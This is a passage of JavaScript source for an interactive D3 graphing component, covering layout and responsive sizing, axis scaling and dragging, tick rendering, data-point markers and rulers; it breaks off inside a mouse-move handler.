          // when the data being plotted gets close to the edge of the X axis.
          axisShift:       10,
          // selectablePoints: false,
          // true if data points should be marked ... currently marked with a circle.
          markAllDataPoints:   false,
          // only show circles when hovering near them with the mouse or
          // tapping near then on a tablet
          markNearbyDataPoints: false,
          // number of circles to show on each side of the central point
          extraCirclesVisibleOnHover: 2,
          // true to show dashed horizontal and vertical rulers when a circle is selected
          showRulersOnSelection: false,
          // width of the line used for plotting
          lineWidth:      2.0,
          // Enable values of data points to be changed by selecting and dragging.
          dataChange:      false,
          // Enables adding of data to a graph by option/alt clicking in the graph.
          addData:         false,
          // Set value to a string and it will be rendered in background of graph.
          notification:    false,
          // Render lines between samples/points
          lines:           true,
          // Render vertical bars extending up to samples/points
          bars:            false
        },
        // brush selection variables
        selection_region = {
          xmin: null,
          xmax: null,
          ymin: null,
          ymax: null
        },
        has_selection = false,
        selection_visible = false,
        selection_enabled = true,
        selection_listener,
        brush_element,
        brush_control;
    // ------------------------------------------------------------
    //
    // Initialization
    //
    // ------------------------------------------------------------
    function initialize(idOrElement, opts, mesg) {
      if (opts || !options) {
        options = setupOptions(opts);
      }
      initializeLayout(idOrElement, mesg);
      options.xrange = options.xmax - options.xmin;
      options.yrange = options.ymax - options.ymin;
      if (Object.prototype.toString.call(options.title) === "[object Array]") {
        titles = options.title;
      } else {
        titles = [options.title];
      }
      titles.reverse();
      // use local variables for both access speed and for responsive over-riding
      sampleInterval = options.sampleInterval;
      dataSampleStart = options.dataSampleStart;
      lineWidth = options.lineWidth;
      size = {
        "width":  120,
        "height": 120
      };
      setupScales();
      fx_d3 = d3.format(options.xFormatter);
      fy_d3 = d3.format(options.yFormatter);
      // Wrappers around certain d3 formatters to prevent problems like this:
      //   scale = d3.scale.linear().domain([-.7164, .7164])
      //   scale.ticks(10).map(d3.format('.3r'))
      //   => ["-0.600", "-0.400", "-0.200", "-0.0000000000000000888", "0.200", "0.400", "0.600"]
      fx = function(num) {
        var domain = xScale.domain(),
            onePercent = Math.abs((domain[1] - domain[0])*0.01);
        if (Math.abs(0+num) < onePercent) {
          num = 0;
        }
        return fx_d3(num);
      };
      fy = function(num) {
        var domain = yScale.domain(),
            onePercent = Math.abs((domain[1] - domain[0])*0.01);
        if (Math.abs(0+num) < onePercent) {
          num = 0;
        }
        return fy_d3(num);
      };
      xTickCount = options.xTickCount;
      yTickCount = options.yTickCount;
      pointArray = [];
      switch(options.dataType) {
        case "fake":
        points = fakeDataPoints();
        pointArray = [points];
        break;
        case 'points':
        resetDataPoints(options.dataPoints);
        break;
        case 'samples':
        resetDataSamples(options.dataSamples, sampleInterval, dataSampleStart);
        break;
      }
      selectable = [];
      selected = null;
      setCurrentSample(points.length);
    }
    function initializeLayout(idOrElement, mesg) {
      if (idOrElement) {
        // d3.select works both for element ID (e.g. "#grapher")
        // and for DOM element.
        elem = d3.select(idOrElement);
        node = elem.node();
        $node = $(node);
        // cx = $node.width();
        // cy = $node.height();
        cx = elem.property("clientWidth");
        cy = elem.property("clientHeight");
      }
      if (mesg) {
        message = mesg;
      }
      if (svg !== undefined) {
        svg.remove();
        svg = undefined;
      }
      if (background !== undefined) {
        background.remove();
        background = undefined;
      }
      if (graphCanvas !== undefined) {
        graphCanvas.remove();
        graphCanvas = undefined;
      }
      if (options.dataChange) {
        markerCursorStyle = "ns-resize";
      } else {
        markerCursorStyle = "crosshair";
      }
      scale();
      // drag axis logic
      downx = NaN;
      downy = NaN;
      draggedPoint = null;
    }
    function scale(w, h) {
      if (!w && !h) {
        cx = Math.max(elem.property("clientWidth"), 60);
        cy = Math.max(elem.property("clientHeight"),60);
      } else {
        cx = w;
        node.style.width =  cx +"px";
        if (!h) {
          node.style.height = "100%";
          h = elem.property("clientHeight");
          cy = h;
          node.style.height = cy +"px";
        } else {
          cy = h;
          node.style.height = cy +"px";
        }
      }
      calculateSizeType();
    }
    function calculateLayout(forceUpdate) {
      scale();
      fontSizeInPixels = parseFloat($node.css("font-size"));
      if (!options.fontScaleRelativeToParent) {
        $node.css("font-size", 0.5 + sizeType.value/6 + 'em');
      }
      fontSizeInPixels = parseFloat($node.css("font-size"));
      halfFontSizeInPixels = fontSizeInPixels/2;
      quarterFontSizeInPixels = fontSizeInPixels/4;
      if (svg === undefined) {
        titleFontSizeInPixels =  fontSizeInPixels;
        axisFontSizeInPixels =   fontSizeInPixels;
        xlabelFontSizeInPixels = fontSizeInPixels;
        ylabelFontSizeInPixels = fontSizeInPixels;
      } else {
        titleFontSizeInPixels =  parseFloat($("svg.graph text.title").css("font-size"));
        axisFontSizeInPixels =   parseFloat($("svg.graph text.axis").css("font-size"));
        xlabelFontSizeInPixels = parseFloat($("svg.graph text.xlabel").css("font-size"));
        ylabelFontSizeInPixels = parseFloat($("svg.graph text.ylabel").css("font-size"));
      }
      updateAxesAndSize();
      updateScales();
      line = d3.svg.line()
          .x(function(d, i) { return xScale(points[i][0]); })
          .y(function(d, i) { return yScale(points[i][1]); });
    }
    function setupOptions(options) {
      if (options) {
        for(var p in default_options) {
          if (options[p] === undefined) {
            options[p] = default_options[p];
          }
        }
      } else {
        options = default_options;
      }
      if (options.axisShift < 1) options.axisShift = 1;
      return options;
    }
    function updateAxesAndSize() {
      if (xScale === undefined) {
        xlabelMetrics = [fontSizeInPixels, fontSizeInPixels];
        ylabelMetrics = [fontSizeInPixels*2, fontSizeInPixels];
      } else {
        xlabelMetrics = axis.numberWidthUsingFormatter(elem, cx, cy, axisFontSizeInPixels,
          longestNumber(xScale.ticks(xTickCount), fx));
        ylabelMetrics = axis.numberWidthUsingFormatter(elem, cx, cy, axisFontSizeInPixels,
          longestNumber(yScale.ticks(yTickCount), fy));
      }
      xAxisNumberWidth  = xlabelMetrics[0];
      xAxisNumberHeight = xlabelMetrics[1];
      xAxisLabelHorizontalPadding = xAxisNumberWidth * 0.6;
      xAxisDraggableHeight = xAxisNumberHeight * 1.1;
      xAxisVerticalPadding = xAxisDraggableHeight + xAxisNumberHeight*1.3;
      xAxisLabelBaseline = xAxisVerticalPadding-xAxisNumberHeight/3;
      yAxisNumberWidth  = ylabelMetrics[0];
      yAxisNumberHeight = ylabelMetrics[1];
      yAxisDraggableWidth    = yAxisNumberWidth + xAxisNumberHeight/4;
      yAxisHorizontalPadding = yAxisDraggableWidth + yAxisNumberHeight;
      yAxisLabelBaseline     = -(yAxisDraggableWidth+yAxisNumberHeight/4);
      switch(sizeType.value) {
        case 0:         // icon
        padding = {
          "top":    halfFontSizeInPixels,
          "right":  halfFontSizeInPixels,
          "bottom": fontSizeInPixels,
          "left":   fontSizeInPixels
        };
        break;
        case 1:         // tiny
        padding = {
          "top":    options.title  ? titleFontSizeInPixels*1.8 : fontSizeInPixels,
          "right":  halfFontSizeInPixels,
          "bottom": fontSizeInPixels,
          "left":   fontSizeInPixels
        };
        break;
        case 2:         // small
        padding = {
          "top":    options.title  ? titleFontSizeInPixels*1.8 : fontSizeInPixels,
          "right":  xAxisLabelHorizontalPadding,
          "bottom": axisFontSizeInPixels*1.25,
          "left":   yAxisNumberWidth*1.25
        };
        xTickCount = Math.max(6, options.xTickCount/2);
        yTickCount = Math.max(6, options.yTickCount/2);
        break;
        case 3:         // medium
        padding = {
          "top":    options.title  ? titleFontSizeInPixels*1.8 : fontSizeInPixels,
          "right":  xAxisLabelHorizontalPadding,
          "bottom": options.xlabel ? xAxisVerticalPadding : axisFontSizeInPixels*1.25,
          "left":   options.ylabel ? yAxisHorizontalPadding : yAxisNumberWidth
        };
        break;
        default:         // large
        padding = {
          "top":    options.title  ? titleFontSizeInPixels*1.8 : fontSizeInPixels,
          "right":  xAxisLabelHorizontalPadding,
          "bottom": options.xlabel ? xAxisVerticalPadding : axisFontSizeInPixels*1.25,
          "left":   options.ylabel ? yAxisHorizontalPadding : yAxisNumberWidth
        };
        break;
      }
      if (sizeType.value > 2 ) {
        padding.top += (titles.length-1) * sizeType.value/3 * sizeType.value/3 * fontSizeInPixels;
      } else {
        titles = [titles[0]];
      }
      size.width  = Math.max(cx - padding.left - padding.right, 60);
      size.height = Math.max(cy - padding.top  - padding.bottom, 60);
    }
    function calculateSizeType() {
      if (options.responsiveLayout) {
        if (cx <= sizeType.icon) {
          sizeType.category = 'icon';
          sizeType.value = 0;
        } else if (cx <= sizeType.tiny) {
          sizeType.category = 'tiny';
          sizeType.value = 1;
        } else if (cx <= sizeType.small) {
          sizeType.category = 'small';
          sizeType.value = 2;
        } else if (cx <= sizeType.medium) {
          sizeType.category = 'medium';
          sizeType.value = 3;
        } else {
          sizeType.category = 'large';
          sizeType.value = 4;
        }
      } else {
        sizeType.category = 'large';
        sizeType.value = 4;
      }
    }
    function longestNumber(array, formatter, precision) {
      var longest = 0,
          index = 0,
          str,
          len,
          i;
      precision = precision || 5;
      for (i = 0; i < array.length; i++) {
        str = formatter(+array[i].toPrecision(precision));
        str = str.replace(/^\s\s*/, '').replace(/\s\s*$/, '');
        len = str.length;
        if (len > longest) {
          longest = len;
          index = i;
        }
      }
      return formatter(array[index]);
    }
    // Setup xScale, yScale, making sure that options.xmax/xmin/ymax/ymin always reflect changes to
    // the relevant domains.
    function setupScales() {
      function domainObservingScale(scale, callback) {
        var domain = scale.domain;
        scale.domain = function(_) {
          if (arguments.length) {
            callback(_);
          }
          return domain.apply(scale, arguments);
        };
        return scale;
      }
      xScale = domainObservingScale(d3.scale[options.xscale](), function(_) {
        options.xmin = _[0];
        options.xmax = _[1];
      });
      yScale = domainObservingScale(d3.scale[options.yscale](), function(_) {
        options.ymin = _[0];
        options.ymax = _[1];
      });
      updateScales();
    }
    function updateScales() {
      updateXScale();
      updateYScale();
    }
    // Update the x-scale.
    function updateXScale() {
      xScale.domain([options.xmin, options.xmax])
            .range([0, size.width]);
      cancelDomainShift();
    }
    // Update the y-scale.
    function updateYScale() {
      yScale.domain([options.ymin, options.ymax])
            .range([size.height, 0]);
    }
    function fakeDataPoints() {
      var yrange2 = options.yrange / 2,
          yrange4 = yrange2 / 2,
          pnts;
      options.datacount = size.width/30;
      options.xtic = options.xrange / options.datacount;
      options.ytic = options.yrange / options.datacount;
      pnts = d3.range(options.datacount).map(function(i) {
        return [i * options.xtic + options.xmin, options.ymin + yrange4 + Math.random() * yrange2 ];
      });
      return pnts;
    }
    function setCurrentSample(samplePoint) {
      if (typeof samplePoint === "number") {
        currentSample = samplePoint;
      }
      if (typeof currentSample !== "number") {
        currentSample = points.length-1;
      }
      return currentSample;
    }
    // converts data samples into an array of points
    function indexedData(samples, interval, start) {
      var i = 0,
          pnts = [];
      interval = interval || 1;
      start = start || 0;
      for (i = 0; i < samples.length;  i++) {
        pnts.push([i * interval + start, samples[i]]);
      }
      return pnts;
    }
    //
    // Update notification message
    //
    function notify(mesg) {
      message = mesg;
      if (mesg) {
        notification.text(mesg);
      } else {
        notification.text('');
      }
    }
    function createButtonLayer() {
      buttonLayer = elem.append("div");
      buttonLayer
        .attr("class", "button-layer")
        .style("z-index", 3);
      if (options.enableAutoScaleButton) {
        buttonLayer.append('a')
            .attr({
              "class": "autoscale-button",
              "title": tooltips.autoscale
            })
            .on("click", function() {
              autoscale();
            })
            .append("i")
              .attr("class", "icon-picture");
      }
      if (options.enableSelectionButton) {
        selectionButton = buttonLayer.append('a');
        selectionButton.attr({
              "class": "selection-button",
              "title": tooltips.selection
            })
            .on("click", function() {
              toggleSelection();
            })
            .append("i")
              .attr("class", "icon-cut");
      }
      resizeButtonLayer();
    }
    function resizeButtonLayer() {
      buttonLayer
        .style({
          "width":   fontSizeInPixels*1.75 + "px",
          "height":  fontSizeInPixels*1.25 + "px",
          "top":     padding.top + halfFontSizeInPixels + "px",
          "left":    padding.left + (size.width - fontSizeInPixels*2.0) + "px"
        });
    }
    // ------------------------------------------------------------
    //
    // Rendering
    //
    // ------------------------------------------------------------
    //
    // Render a new graph by creating the SVG and Canvas elements
    //
    function renderNewGraph() {
      svg = elem.append("svg")
          .attr("width",  cx)
          .attr("height", cy)
          .attr("class", "graph")
          .style('z-index', 2);
          // .attr("tabindex", tabindex || 0);
      vis = svg.append("g")
          .attr("transform", "translate(" + padding.left + "," + padding.top + ")");
      plot = vis.append("rect")
        .attr("class", "plot")
        .attr("width", size.width)
        .attr("height", size.height)
        .attr("pointer-events", "all")
        .attr("fill", "rgba(255,255,255,0)")
        .on("mousemove", plotMousemove)
        .on("mousedown", plotDrag)
        .on("touchstart", plotDrag);
      plot.call(d3.behavior.zoom().x(xScale).y(yScale).on("zoom", redraw));
      background = elem.append("div")
          .attr("class", "background")
          .style({
            "width":   size.width + "px",
            "height":  size.height + "px",
            "top":     padding.top + "px",
            "left":    padding.left + "px",
            "z-index": 0
          });
      createGraphCanvas();
      viewbox = vis.append("svg")
        .attr("class", "viewbox")
        .attr("top", 0)
        .attr("left", 0)
        .attr("width", size.width)
        .attr("height", size.height)
        .attr("viewBox", "0 0 "+size.width+" "+size.height);
      selectedRulerX = viewbox.append("line")
        .attr("stroke", gridStroke)
        .attr("stroke-dasharray", "2,2")
        .attr("y1", 0)
        .attr("y2", size.height)
        .attr("x1", function(d) { return selected === null ? 0 : selected[0]; } )
        .attr("x2", function(d) { return selected === null ? 0 : selected[0]; } )
        .attr("class", "ruler hidden");
      selectedRulerY = viewbox.append("line")
        .attr("stroke", gridStroke)
        .attr("stroke-dasharray", "2,2")
        .attr("x1", 0)
        .attr("x2", size.width)
        .attr("y1", function(d) { return selected === null ? 0 : selected[1]; } )
        .attr("y2", function(d) { return selected === null ? 0 : selected[1]; } )
        .attr("class", "ruler hidden");
      yAxisDraggable = svg.append("rect")
        .attr("class", "draggable-axis")
        .attr("x", padding.left-yAxisDraggableWidth)
        .attr("y", padding.top)
        .attr("rx", yAxisNumberHeight/6)
        .attr("width", yAxisDraggableWidth)
        .attr("height", size.height)
        .attr("pointer-events", "all")
        .style("cursor", "row-resize")
        .on("mousedown", yAxisDrag)
        .on("touchstart", yAxisDrag);
      yAxisDraggableTooltip = yAxisDraggable.append("title");
      xAxisDraggable = svg.append("rect")
        .attr("class", "draggable-axis")
        .attr("x", padding.left)
        .attr("y", size.height+padding.top)
        .attr("rx", yAxisNumberHeight/6)
        .attr("width", size.width)
        .attr("height", xAxisDraggableHeight)
        .attr("pointer-events", "all")
        .style("cursor", "col-resize")
        .on("mousedown", xAxisDrag)
        .on("touchstart", xAxisDrag);
      xAxisDraggableTooltip = xAxisDraggable.append("title");
      if (sizeType.value <= 2 && options.ylabel) {
        xAxisDraggableTooltip.text(options.xlabel);
      }
      if (sizeType.catefory && options.ylabel) {
        yAxisDraggableTooltip.text(options.ylabel);
      }
      adjustAxisDraggableFill();
      brush_element = viewbox.append("g")
            .attr("class", "brush");
      // add Chart Title
      if (options.title && sizeType.value > 0) {
        title = vis.selectAll("text")
          .data(titles, function(d) { return d; });
        title.enter().append("text")
            .attr("class", "title")
            .text(function(d) { return d; })
            .attr("x", function(d) { return size.width/2 - Math.min(size.width, getComputedTextLength(this))/2; })
            .attr("dy", function(d, i) { return -i * titleFontSizeInPixels - halfFontSizeInPixels + "px"; });
        titleTooltip = title.append("title")
            .text("");
      } else if (options.title) {
        titleTooltip = plot.append("title")
            .text(options.title);
      }
      // Add the x-axis label
      if (sizeType.value > 2) {
        xlabel = vis.append("text")
            .attr("class", "axis")
            .attr("class", "xlabel")
            .text(options.xlabel)
            .attr("x", size.width/2)
            .attr("y", size.height)
            .attr("dy", xAxisLabelBaseline + "px")
            .style("text-anchor","middle");
      }
      // add y-axis label
      if (sizeType.value > 2) {
        ylabel = vis.append("g").append("text")
            .attr("class", "axis")
            .attr("class", "ylabel")
            .text( options.ylabel)
            .style("text-anchor","middle")
            .attr("transform","translate(" + yAxisLabelBaseline + " " + size.height/2+") rotate(-90)");
        if (sizeType.category === "small") {
          yAxisDraggable.append("title")
            .text(options.ylabel);
        }
      }
      d3.select(node)
          .on("mousemove.drag", mousemove)
          .on("touchmove.drag", mousemove)
          .on("mouseup.drag",   mouseup)
          .on("touchend.drag",  mouseup);
      notification = vis.append("text")
          .attr("class", "graph-notification")
          .text(message)
          .attr("x", size.width/2)
          .attr("y", size.height/2)
          .style("text-anchor","middle");
      updateMarkers();
      updateRulers();
    }
    //
    // Repaint an existing graph by rescaling/updating the SVG and Canvas elements
    //
    function repaintExistingGraph() {
      vis
        .attr("width",  cx)
        .attr("height", cy)
        .attr("transform", "translate(" + padding.left + "," + padding.top + ")");
      plot
        .attr("width", size.width)
        .attr("height", size.height);
      background
        .style({
          "width":   size.width + "px",
          "height":  size.height + "px",
          "top":     padding.top + "px",
          "left":    padding.left + "px",
          "z-index": 0
        });
      viewbox
          .attr("top", 0)
          .attr("left", 0)
          .attr("width", size.width)
          .attr("height", size.height)
          .attr("viewBox", "0 0 "+size.width+" "+size.height);
      yAxisDraggable
          .attr("x", padding.left-yAxisDraggableWidth)
          .attr("y", padding.top-yAxisNumberHeight/2)
          .attr("width", yAxisDraggableWidth)
          .attr("height", size.height+yAxisNumberHeight);
      xAxisDraggable
          .attr("x", padding.left)
          .attr("y", size.height+padding.top)
          .attr("width", size.width)
          .attr("height", xAxisDraggableHeight);
      adjustAxisDraggableFill();
      if (options.title && sizeType.value > 0) {
        title
            .attr("x", function(d) { return size.width/2 - Math.min(size.width, getComputedTextLength(this))/2; })
            .attr("dy", function(d, i) { return -i * titleFontSizeInPixels - halfFontSizeInPixels + "px"; });
        titleTooltip
            .text("");
      } else if (options.title) {
        titleTooltip
            .text(options.title);
      }
      if (options.xlabel && sizeType.value > 2) {
        xlabel
            .attr("x", size.width/2)
            .attr("y", size.height)
            .attr("dy", xAxisLabelBaseline + "px");
        xAxisDraggableTooltip
            .text("");
      } else {
        xAxisDraggableTooltip
            .text(options.xlabel);
      }
      if (options.ylabel && sizeType.value > 2) {
        ylabel
            .attr("transform","translate(" + yAxisLabelBaseline + " " + size.height/2+") rotate(-90)");
        yAxisDraggableTooltip
            .text("");
      } else {
        yAxisDraggableTooltip
          .text(options.ylabel);
      }
      notification
        .attr("x", size.width/2)
        .attr("y", size.height/2);
      vis.selectAll("g.x").remove();
      vis.selectAll("g.y").remove();
      if (has_selection && selection_visible) {
        updateBrushElement();
      }
      updateMarkers();
      updateRulers();
      resizeCanvas();
    }
    function getComputedTextLength(el) {
      if (el.getComputedTextLength) {
        return el.getComputedTextLength();
      } else {
        return 100;
      }
    }
    function adjustAxisDraggableFill() {
      if (sizeType.value <= 1) {
        xAxisDraggable
          .style({
            "fill":       "rgba(196, 196, 196, 0.2)"
          });
        yAxisDraggable
          .style({
            "fill":       "rgba(196, 196, 196, 0.2)"
          });
      } else {
        xAxisDraggable
          .style({
            "fill":       null
          });
        yAxisDraggable
          .style({
            "fill":       null
          });
      }
    }
    //
    // Redraw the plot and axes when plot is translated or axes are re-scaled
    //
    function redraw() {
      updateAxesAndSize();
      repaintExistingGraph();
      // Regenerate x-ticks
      var gx = vis.selectAll("g.x")
          .data(xScale.ticks(xTickCount), String)
          .attr("transform", tx);
      var gxe = gx.enter().insert("g", "a")
          .attr("class", "x")
          .attr("transform", tx);
      gxe.append("line")
          .attr("stroke", gridStroke)
          .attr("y1", 0)
          .attr("y2", size.height);
      if (sizeType.value > 1) {
        gxe.append("text")
            .attr("class", "axis")
            .attr("y", size.height)
            .attr("dy", axisFontSizeInPixels + "px")
            .attr("text-anchor", "middle")
            .text(fx)
            .on("mouseover", function() { d3.select(this).style("font-weight", "bold");})
            .on("mouseout",  function() { d3.select(this).style("font-weight", "normal");});
      }
      gx.exit().remove();
      // Regenerate y-ticks
      var gy = vis.selectAll("g.y")
          .data(yScale.ticks(yTickCount), String)
          .attr("transform", ty);
      var gye = gy.enter().insert("g", "a")
          .attr("class", "y")
          .attr("transform", ty)
          .attr("background-fill", "#FFEEB6");
      gye.append("line")
          .attr("stroke", gridStroke)
          .attr("x1", 0)
          .attr("x2", size.width);
      if (sizeType.value > 1) {
        if (options.yscale === "log") {
          var gye_length = gye[0].length;
          if (gye_length > 100) {
            gye = gye.filter(function(d) { return !!d.toString().match(/(\.[0]*|^)[1]/);});
          } else if (gye_length > 50) {
            gye = gye.filter(function(d) { return !!d.toString().match(/(\.[0]*|^)[12]/);});
          } else {
            gye = gye.filter(function(d) {
              return !!d.toString().match(/(\.[0]*|^)[125]/);});
          }
        }
        gye.append("text")
            .attr("class", "axis")
            .attr("x", -axisFontSizeInPixels/4 + "px")
            .attr("dy", ".35em")
            .attr("text-anchor", "end")
            .style("cursor", "ns-resize")
            .text(fy)
            .on("mouseover", function() { d3.select(this).style("font-weight", "bold");})
            .on("mouseout",  function() { d3.select(this).style("font-weight", "normal");});
      }
      gy.exit().remove();
      plot.call(d3.behavior.zoom().x(xScale).y(yScale).on("zoom", redraw));
      update();
    }
    // ------------------------------------------------------------
    //
    // Rendering: Updating samples/data points in the plot
    //
    // ------------------------------------------------------------
    //
    // Update plotted data, optionally pass in new samplePoint
    //
    function update(samplePoint) {
      setCurrentSample(samplePoint);
      updateCanvasFromPoints(currentSample);
      updateMarkers();
      if (d3.event && d3.event.keyCode) {
        d3.event.preventDefault();
        d3.event.stopPropagation();
      }
    }
    // samplePoint is optional argument
    function updateOrRescale(samplePoint) {
      setCurrentSample(samplePoint);
      updateOrRescalePoints();
    }
    // samplePoint is optional argument
    function updateOrRescalePoints(samplePoint) {
      var domain = xScale.domain(),
          xAxisStart = Math.round(domain[0]),
          xAxisEnd = Math.round(domain[1]),
          start = Math.max(0, xAxisStart),
          xextent = domain[1] - domain[0],
          shiftPoint = xextent * 0.95,
          currentExtent;
      setCurrentSample(samplePoint);
      if (currentSample > 0) {
        currentExtent = points[currentSample-1][0];
      } else {
        currentExtent = points[currentSample][0];
      }
      if (shiftingX) {
        shiftingX = domainShift();
        if (shiftingX) {
          cancelAxisRescale();
          redraw();
        } else {
          update(currentSample);
        }
      } else {
        if (currentExtent > domain[0] + shiftPoint) {
          domainShift = shiftXDomainRealTime(shiftPoint*0.9, options.axisShift);
          shiftingX = domainShift();
          redraw();
        } else if ( currentExtent < domain[1] - shiftPoint && currentSample < points.length && xAxisStart > 0) {
          domainShift = shiftXDomainRealTime(shiftPoint*0.9, options.axisShift, -1);
          shiftingX = domainShift();
          redraw();
        } else if (currentExtent < domain[0]) {
          domainShift = shiftXDomainRealTime(shiftPoint*0.1, 1, -1);
          shiftingX = domainShift();
          redraw();
        } else {
          update(currentSample);
        }
      }
    }
    function shiftXDomainRealTime(shift, steps, direction) {
      var d0 = xScale.domain()[0],
          d1 = xScale.domain()[1],
          increment = 1/steps,
          index = 0;
      return function() {
        var factor;
        direction = direction || 1;
        index += increment;
        factor = shift * cubicEase(index);
        if (direction > 0) {
          xScale.domain([d0 + factor, d1 + factor]);
          return xScale.domain()[0] < (d0 + shift);
        } else {
          xScale.domain([d0 - factor, d1 - factor]);
          return xScale.domain()[0] > (d0 - shift);
        }
      };
    }
    function cancelDomainShift() {
      shiftingX = false;
      // effectively asserts that we don't call domainShift until a new domain shift is required
      domainShift = null;
    }
    function cancelAxisRescale() {
      if (!isNaN(downx)) {
        downx = NaN;
      }
      if (!isNaN(downy)) {
        downy = NaN;
      }
    }
    function circleClasses(d) {
      var cs = [];
      if (d === selected) {
        cs.push("selected");
      }
      if (cs.length === 0) {
        return null;
      } else {
        return cs.join(" ");
      }
    }
    function updateMarkerRadius() {
      var d = xScale.domain(),
          r = xScale.range();
      markerRadius = (r[1] - r[0]) / ((d[1] - d[0]));
      markerRadius = Math.min(Math.max(markerRadius, 4), 8);
      markerStrokeWidth = markerRadius/3;
    }
    function updateMarkers() {
      var marker,
          markedPoints = null;
      if (options.markAllDataPoints && sizeType.value > 1) {
        markedPoints = points;
      } else if (options.markNearbyDataPoints && sizeType.value > 1) {
        markedPoints = selectable.slice(0);
        if (selected !== null && markedPoints.indexOf(selected) === -1) {
          markedPoints.push(selected);
        }
      }
      if (markedPoints !== null) {
        updateMarkerRadius();
        marker = vis.select("svg").selectAll("circle").data(markedPoints);
        marker.enter().append("circle")
            .attr("class", circleClasses)
            .attr("cx",    function(d) { return xScale(d[0]); })
            .attr("cy",    function(d) { return yScale(d[1]); })
            .attr("r", markerRadius)
            .style("stroke-width", markerStrokeWidth)
            .style("cursor", markerCursorStyle)
            .on("mousedown.drag",  dataPointDrag)
            .on("touchstart.drag", dataPointDrag)
            .append("title")
            .text(function(d) { return "( " + fx(d[0]) + ", " + fy(d[1]) + " )"; });
        marker
            .attr("class", circleClasses)
            .attr("cx",    function(d) { return xScale(d[0]); })
            .attr("cy",    function(d) { return yScale(d[1]); })
            .select("title")
            .text(function(d) { return "( " + fx(d[0]) + ", " + fy(d[1]) + " )"; });
        marker.exit().remove();
      }
      updateRulers();
    }
    function updateRulers() {
      if (options.showRulersOnSelection && selected !== null) {
        selectedRulerX
          .attr("y1", 0)
          .attr("y2", size.height)
          .attr("x1", function(d) { return selected === null ? 0 : xScale(selected[0]); } )
          .attr("x2", function(d) { return selected === null ? 0 : xScale(selected[0]); } )
          .attr("class", function(d) { return "ruler" + (selected === null ? " hidden" : ""); } );
        selectedRulerY
          .attr("x1", 0)
          .attr("x2", size.width)
          .attr("y1", function(d) { return selected === null ? 0 : yScale(selected[1]); } )
          .attr("y2", function(d) { return selected === null ? 0 : yScale(selected[1]); } )
          .attr("class", function(d) { return "ruler" + (selected === null ? " hidden" : ""); } );
      } else {
        selectedRulerX.attr("class", "ruler hidden");
        selectedRulerY.attr("class", "ruler hidden");
      }
    }
    // ------------------------------------------------------------
    //
    // UI Interaction: Plot dragging and translation; Axis re-scaling
    //
    // ------------------------------------------------------------
    function plotMousemove() {
      if (options.markNearbyDataPoints) {
        var mousePoint = d3.mouse(vis.node()),
            translatedMousePointX = xScale.invert(Math.max(0, Math.min(size.width, mousePoint[0]))),
            p,
            idx, pMin, pMax,
            i;
        // highlight the central point, and also points to the left and right
        // TODO Handle multiple data sets/lines
        selectable = [];
        for (i = 0; i < pointArray.length; i++) {
          points = pointArray[i];
          p = findClosestPointByX(translatedMousePointX, i);
          if (p !== null) {
            idx = points.indexOf(p);
            pMin = idx - (options.extraCirclesVisibleOnHover);
            pMax = idx + (options.extraCirclesVisibleOnHover + 1);
            if (pMin < 0) { pMin = 0; }
            if (pMax > points.length - 1) { pMax = points.length; }
            selectable = selectable.concat(points.slice(pMin, pMax));
          }
        }
        update();
      }
    }
    function findClosestPointByX(x, line) {
      if (typeof(line) === "undefined" || line === null) { line = 0; }
      // binary search through points.
      // This assumes points is sorted ascending by x value, which for realTime graphs is true.
      points = pointArray[line];
      if (points.length === 0) { return null; }
      var min = 0,
          max = points.length - 1,
          mid, diff, p1, p2, p3;
      while (min < max) {
        mid = Math.floor((min + max)/2.0);
        if (points[mid][0] < x) {
          min = mid + 1;
        } else {
          max = mid;
        }
      }
      // figure out which point is actually closest.
      // we have to compare 3 points, to account for floating point rounding errors.
      // if the mouse moves off the left edge of the graph, p1 may not exist.
      // if the mouse moves off the right edge of the graph, p3 may not exist.
      p1 = points[mid - 1];
      p2 = points[mid];
      p3 = points[mid + 1];
      if (typeof(p1) !== "undefined" && Math.abs(p1[0] - x) <= Math.abs(p2[0] - x)) {
        return p1;
      } else if (typeof(p3) === "undefined" || Math.abs(p2[0] - x) <= Math.abs(p3[0] - x)) {
        return p2;
      } else {
        return p3;
      }
    }
    function plotDrag() {
      if(options.enableAxisScaling) {
        var p;
        d3.event.preventDefault();
        d3.select('body').style("cursor", "move");
        if (d3.event.altKey) {
          plot.style("cursor", "nesw-resize");
          if (d3.event.shiftKey && options.addData) {
            p = d3.mouse(vis.node());
            var newpoint = [];
            newpoint[0] = xScale.invert(Math.max(0, Math.min(size.width,  p[0])));
            newpoint[1] = yScale.invert(Math.max(0, Math.min(size.height, p[1])));
            points.push(newpoint);
            points.sort(function(a, b) {
              if (a[0] < b[0]) { return -1; }
              if (a[0] > b[0]) { return  1; }
              return 0;
            });
            selected = newpoint;
            update();
          } else {
            p = d3.mouse(vis.node());
            downx = xScale.invert(p[0]);
            downy = yScale.invert(p[1]);
            draggedPoint = false;
            d3.event.stopPropagation();
          }
          // d3.event.stopPropagation();
        }
      }
    }
    function falseFunction() {
      return false;
    }
    function xAxisDrag() {
      if(options.enableAxisScaling) {
        node.focus();
        document.onselectstart = falseFunction;
        d3.event.preventDefault();
        var p = d3.mouse(vis.node());
        downx = xScale.invert(p[0]);
      }
    }
    function yAxisDrag() {
      if(options.enableAxisScaling) {
        node.focus();
        d3.event.preventDefault();
        document.onselectstart = falseFunction;
        var p = d3.mouse(vis.node());
        downy = yScale.invert(p[1]);
      }
    }
    function dataPointDrag(d) {
      node.focus();
      d3.event.preventDefault();
      document.onselectstart = falseFunction;
      if (selected === d) {
        selected = draggedPoint = null;
      } else {
        selected = draggedPoint = d;
      }
      update();
    }
    function mousemove() {
      var p = d3.mouse(vis.node()),
          index,
          px,
          x,
          nextPoint,
          prevPoint,
          minusHalf,
          plusHalf;
      // t = d3.event.changedTouches;
      document.onselectstart = function() { return true; };
      d3.event.preventDefault();
      if (draggedPoint) {
        if (options.dataChange) {
          draggedPoint[1] = yScale.invert(Math.max(0, Math.min(size.height, p[1])));
        } else {
          index = points.indexOf(draggedPoint);
          if (index && index < (points.length-1)) {
            px = xScale.invert(p[0]);
            x = draggedPoint[0];
            nextPoint = points[index+1];
            prevPoint = points[index-1];
            minusHalf = x - (x - prevPoint[0])/2;
            plusHalf =  x + (nextPoint[0] - x)/2;
            if (px < minusHalf) {
              draggedPoint = prevPoint;
              selected = draggedPoint;
            } else if (px > plusHalf) {
              draggedPoint = nextPoint;
              selected = draggedPoint;
            }
          }
        }
        update();
      }
      if (!isNaN(downx)) {
        d3.select('body').style("cursor", "col-resize");
        plot.style("cursor", "col-resize");
        if (shiftingX) {
